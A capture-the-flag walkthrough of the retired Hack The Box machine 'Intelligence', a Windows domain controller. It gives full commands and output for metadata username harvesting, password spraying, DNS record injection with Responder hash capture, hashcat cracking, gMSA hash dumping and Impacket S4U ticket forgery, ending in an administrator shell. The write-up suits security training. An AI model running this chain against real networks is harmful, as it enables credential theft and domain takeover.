This machine is classified as Medium difficulty by Micah but may seem hard as it takes tons of enumeration against a domain controller with a webserver running. On the webserver, we will find a documents uploads folder, using its naming convention; we will brute for each and every uploaded document as their meta data contains usernames which eventually leads to getting a default password. We will password spray with the enumerated users and find one valid user. From there, we find a PowerShell script that runs every five minutes, requesting to each DNS in the Active Directory environment; we will add ourselves as a server, and sniff with Responder for the NTLM hash. Once we get and crack the hash. We’ll find that our account has control over service accounts’ GMSA password and can delegate on the domain; we will exploit these relations to get Domain Admin.
OS | Difficulty | IP Address | Status |
---|---|---|---|
Windows | Medium | 10.10.10.248 | Retired |
Phase 1 - Enumeration
Nmap
One look at the Nmap results and we can tell right away that its a Windows Server machine.
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Intelligence
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-11-04 15:33:11Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2021-11-04T15:34:44+00:00; +7h20m01s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after: 2022-04-19T00:43:16
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after: 2022-04-19T00:43:16
|_ssl-date: 2021-11-04T15:34:44+00:00; +7h20m01s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after: 2022-04-19T00:43:16
|_ssl-date: 2021-11-04T15:34:44+00:00; +7h20m01s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2021-11-04T15:34:44+00:00; +7h20m01s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after: 2022-04-19T00:43:16
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49691/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49692/tcp open msrpc Microsoft Windows RPC
49707/tcp open msrpc Microsoft Windows RPC
49714/tcp open msrpc Microsoft Windows RPC
54337/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Port 80
Scrolling down, we find that we are able to download PDFs:
/document
http://10.10.10.248/documents/2020-01-01-upload.pdf
http://10.10.10.248/documents/2020-12-15-upload.pdf
Extracting metadata
When we downloaded the two PDFs and used exiftool to see the metadata embedded in the PDF, we get Creators; which are potential usernames.
┌──(kali㉿kali)-[~/CTF/HTB/machines/intelligence]
└─$ exiftool *.pdf
======== 2020-01-01-upload.pdf
ExifTool Version Number : 12.32
File Name : 2020-01-01-upload.pdf
Directory : .
File Size : 26 KiB
File Modification Date/Time : 2021:04:01 13:00:00-04:00
File Access Date/Time : 2021:11:04 05:23:35-04:00
File Inode Change Date/Time : 2021:11:04 05:23:35-04:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.5
Linearized : No
Page Count : 1
Creator : William.Lee
======== 2020-12-15-upload.pdf
ExifTool Version Number : 12.32
File Name : 2020-12-15-upload.pdf
Directory : .
File Size : 27 KiB
File Modification Date/Time : 2021:04:01 13:00:00-04:00
File Access Date/Time : 2021:11:04 05:23:48-04:00
File Inode Change Date/Time : 2021:11:04 05:23:48-04:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.5
Linearized : No
Page Count : 1
Creator : Jose.Williams
2 image files read
And we get two potential usernames:
William.Lee
Jose.Williams
Brute Forcing the Naming Convention
We can assume from the PDF links that the format of file uploads is as follows:
YEAR-MONTH-DATE-upload.pdf
Let’s create two wordlists to fuzz the URL; one will be days, the other months and for year we can do it manually:
┌──(kali㉿kali)-[~/…/HTB/machines/intelligence/pdfs]
└─$ seq -f "%02g" 1 31 > days.lst; seq -f "%02g" 1 12 > months.lst
NOTE: In the original URL, there are leading zeros with the single digits, so -f "%02g"
will add a leading zero on each single digit.
Now let’s FUZZ:
┌──(kali㉿kali)-[~/…/HTB/machines/intelligence/pdfs]
└─$ wfuzz -c -w months.lst -w days.lst --hl 29 -u http://10.10.10.248/documents/2020-FUZZ-FUZ2Z-upload.pdf -o valid_date.txt
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.248/documents/2020-FUZZ-FUZ2Z-upload.pdf
Total requests: 372
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000020: 200 126 L 565 W 11018 Ch "01 - 20"
000000023: 200 135 L 586 W 10972 Ch "01 - 23"
000000001: 200 208 L 1172 W 25532 Ch "01 - 01"
000000002: 200 198 L 1140 W 25596 Ch "01 - 02"
000000004: 200 195 L 1171 W 26086 Ch "01 - 04"
000000010: 200 204 L 1130 W 25159 Ch "01 - 10"
000000025: 200 192 L 1068 W 24926 Ch "01 - 25"
000000022: 200 223 L 1210 W 27246 Ch "01 - 22"
[output too long]
Let’s download each PDF using the above found dates, and extract the metadata to get potential usernames:
┌──(kali㉿kali)-[~/…/HTB/machines/intelligence/pdfs]
└─$ for i in $(cat valid_dates.txt); do wget -i http://10.10.10.248/documents/2020-$i-upload.pdf; done
┌──(kali㉿kali)-[~/…/HTB/machines/intelligence/pdfs]
└─$ exiftool *.pdf | grep Creator | awk '{print $3}' > usernames.lst
William.Lee
Scott.Scott
Jason.Wright
Veronica.Patel
Jennifer.Thomas
Danny.Matthews
David.Reed
[output too long]
And we find one PDF containing a default password:
Phase 2 - Exploitation
Enumerating User’s SMB
Since we have a default password of ‘NewIntelligenceCorpUser9876’ and a list of usernames; we can password spray each username with the default password to see if anyone did not change the default password:
crackmapexec smb 10.10.10.248 -u usernames.lst -p "NewIntelligenceCorpUser9876"
...[snip]...
SMB 10.10.10.248 445 DC [+] intelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876
And we find one successful login attempt with the username Tiffany.Molina and since SMB was opened on the Nmap port scan results; let’s try SMB login and see what we find.
┌──(kali㉿kali)-[~/…/HTB/machines/intelligence/pdfs]
└─$ smbmap -H 10.10.10.248 -u 'Tiffany.Molina' -p 'NewIntelligenceCorpUser9876'
[+] IP: 10.10.10.248:445 Name: dc.intelligence.htb
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
IT READ ONLY
NETLOGON READ ONLY Logon server share
SYSVOL READ ONLY Logon server share
Users READ ONLY
We can see we have two shares out of the ordinary: (i) IT (ii) Users Let’s go into them and see what’s inside:
┌──(kali㉿kali)-[~/CTF/HTB/machines/intelligence]
└─$ smbclient //10.10.10.248/IT -U Tiffany.Molina
Enter WORKGROUP\Tiffany.Molina's password:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sun Apr 18 20:50:55 2021
.. D 0 Sun Apr 18 20:50:55 2021
downdetector.ps1 A 1046 Sun Apr 18 20:50:55 2021
3770367 blocks of size 4096. 1460533 blocks available
smb: \> get downdetector.ps1
getting file \downdetector.ps1 of size 1046 as downdetector.ps1 (1.1 KiloBytes/sec) (average 1.1 KiloBytes/sec)
And we can find user.txt in Users share
┌──(kali㉿kali)-[~/…/HTB/machines/intelligence/pdfs]
└─$ smbclient //10.10.10.248/Users -U Tiffany.Molina
Enter WORKGROUP\Tiffany.Molina's password:
Try "help" to get a list of possible commands.
smb: \> pwd
Current directory is \\10.10.10.248\Users\
smb: \> get Tiffany.Molina\Desktop\user.txt
getting file \Tiffany.Molina\Desktop\user.txt of size 34 as Tiffany.Molina\Desktop\user.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
Phase 3 - Privilege Escalation
Scheduled Task
Analyzing the below PowerShell code, it looks like, for each DNS record in the AD environment, and the author added a wildcard for the Where-Object to find web*
which will run every 5 minutes.
downdetector.ps1
# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <[email protected]>' -To 'Ted Graves <[email protected]>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}
Unconstrained Delegation Abuse
Since we have valid credentials, let’s use DNSTool.py from the Toolkit for abusing unconstrained delegation to add our IP address as a server on the victim’s machine.
┌──(kali㉿kali)-[~/…/HTB/machines/intelligence/pdfs]
└─$ python3 dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -a add -r 'weboops.intelligence.htb' -d 10.10.14.7 10.10.10.248
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
/home/kali/CTF/HTB/machines/intelligence/dnstool.py:241: DeprecationWarning: please use dns.resolver.Resolver.resolve() instead
res = dnsresolver.query(zone, 'SOA')
[-] Adding new record
[+] LDAP operation completed successfully
Responder for Hashes
Also, run Responder to listen for hashes!
┌──(kali㉿kali)-[~/…/HTB/machines/intelligence/pdfs]
└─$ sudo responder -I tun0 -A
..[snip]..
[+] Listening for events...
[HTTP] NTLMv2 Client : 10.10.10.248
[HTTP] NTLMv2 Username : intelligence\Ted.Graves
[HTTP] NTLMv2 Hash : Ted.Graves::intelligence:f4546225e4dbc5a8:85C7F72D0214A9C593E5B314AE1A3BDF:0101000000000000DAA782A2ADD1D7017200EB459F4D78B700000000020008004F00570041004F0001001E00570049004E002D005900340052005300530036005A005200430034003000040014004F00570041004F002E004C004F00430041004C0003003400570049004E002D005900340052005300530036005A0052004300340030002E004F00570041004F002E004C004F00430041004C00050014004F00570041004F002E004C004F00430041004C00080030003000000000000000000000000020000013FFE3E24A26B5D085CAA319719B3EB449028060A8EB1DF576C470C61A9EB7B80A0010000000000000000000000000000000000009003A0048005400540050002F007700650062006F006F00700073002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000
Cracking the hash with hashcat.
┌──(kali㉿kali)-[~/CTF/HTB/machines/intelligence]
└─$ hashcat -m 5600 hash.es /usr/share/wordlists/rockyou.txt -o cracked.txt
┌──(kali㉿kali)-[~/CTF/HTB/machines/intelligence]
└─$ cat cracked.txt
TED.GRAVES::intelligence:f4546225e4dbc5a8:85c7f72d0214a9c593e5b314ae1a3bdf:0101000000000000daa782a2add1d7017200eb459f4d78b700000000020008004f00570041004f0001001e00570049004e002d005900340052005300530036005a005200430034003000040014004f00570041004f002e004c004f00430041004c0003003400570049004e002d005900340052005300530036005a0052004300340030002e004f00570041004f002e004c004f00430041004c00050014004f00570041004f002e004c004f00430041004c00080030003000000000000000000000000020000013ffe3e24a26b5d085caa319719b3eb449028060a8eb1df576c470c61a9eb7b80a0010000000000000000000000000000000000009003a0048005400540050002f007700650062006f006f00700073002e0069006e00740065006c006c006900670065006e00630065002e006800740062000000000000000000:Mr.Teddy
GMSA Password
Group Manage Service Accounts (GMSA) provides additional security to service accounts. We will use a Python tool for extracting GMSA passwords, gMSADumper, was written by the author of Intelligence, Micah.
┌──(kali㉿kali)-[~/CTF/HTB/machines/intelligence]
└─$ python3 gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb
Users or groups who can read password for svc_int$:
> DC$
> itsupport
svc_int$:::c699eaac79b69357d9dabee3379547e6
Abusing Kerberos
Since we got the GMSA password, and we are about to do some Kerberos stuff which will need synced timing; let’s sync up our time with the server’s time:
┌──(kali㉿kali)-[~/CTF/HTB/machines/intelligence]
└─$ sudo ntpdate 10.10.10.248
{"time":"2021-11-04T15:06:43.250699-0400","offset":26399.579924,"precision":0.115865,"host":"10.10.10.248","ip":"10.10.10.248","stratum":1,"leap":"no-leap","adjusted":true}
CLOCK: time stepped by 26399.579924
This post from OnSecurity gives the steps to request a forged ticket from the delegated service. We’ll use getST.py
from Impacket to craft and generate a ticket.
┌──(kali㉿kali)-[~/CTF/HTB/machines/intelligence]
└─$ impacket-getST intelligence.htb/svc_int$ -spn WWW/dc.intelligence.htb -hashes :c699eaac79b69357d9dabee3379547e6 -impersonate administrator intelligence.htb/svc_int
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in administrator.ccache
Shell as Administrator
We’ll first add the cached ticket to a variable used by Impacket’s wmiexec.py
and then try to login.
┌──(kali㉿kali)-[~/CTF/HTB/machines/intelligence]
└─$ export KRB5CCNAME=administrator.ccache
┌──(kali㉿kali)-[~/CTF/HTB/machines/intelligence]
└─$ wmiexec.py -k -no-pass [email protected]
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
intelligence\administrator
And we are in as Administrator!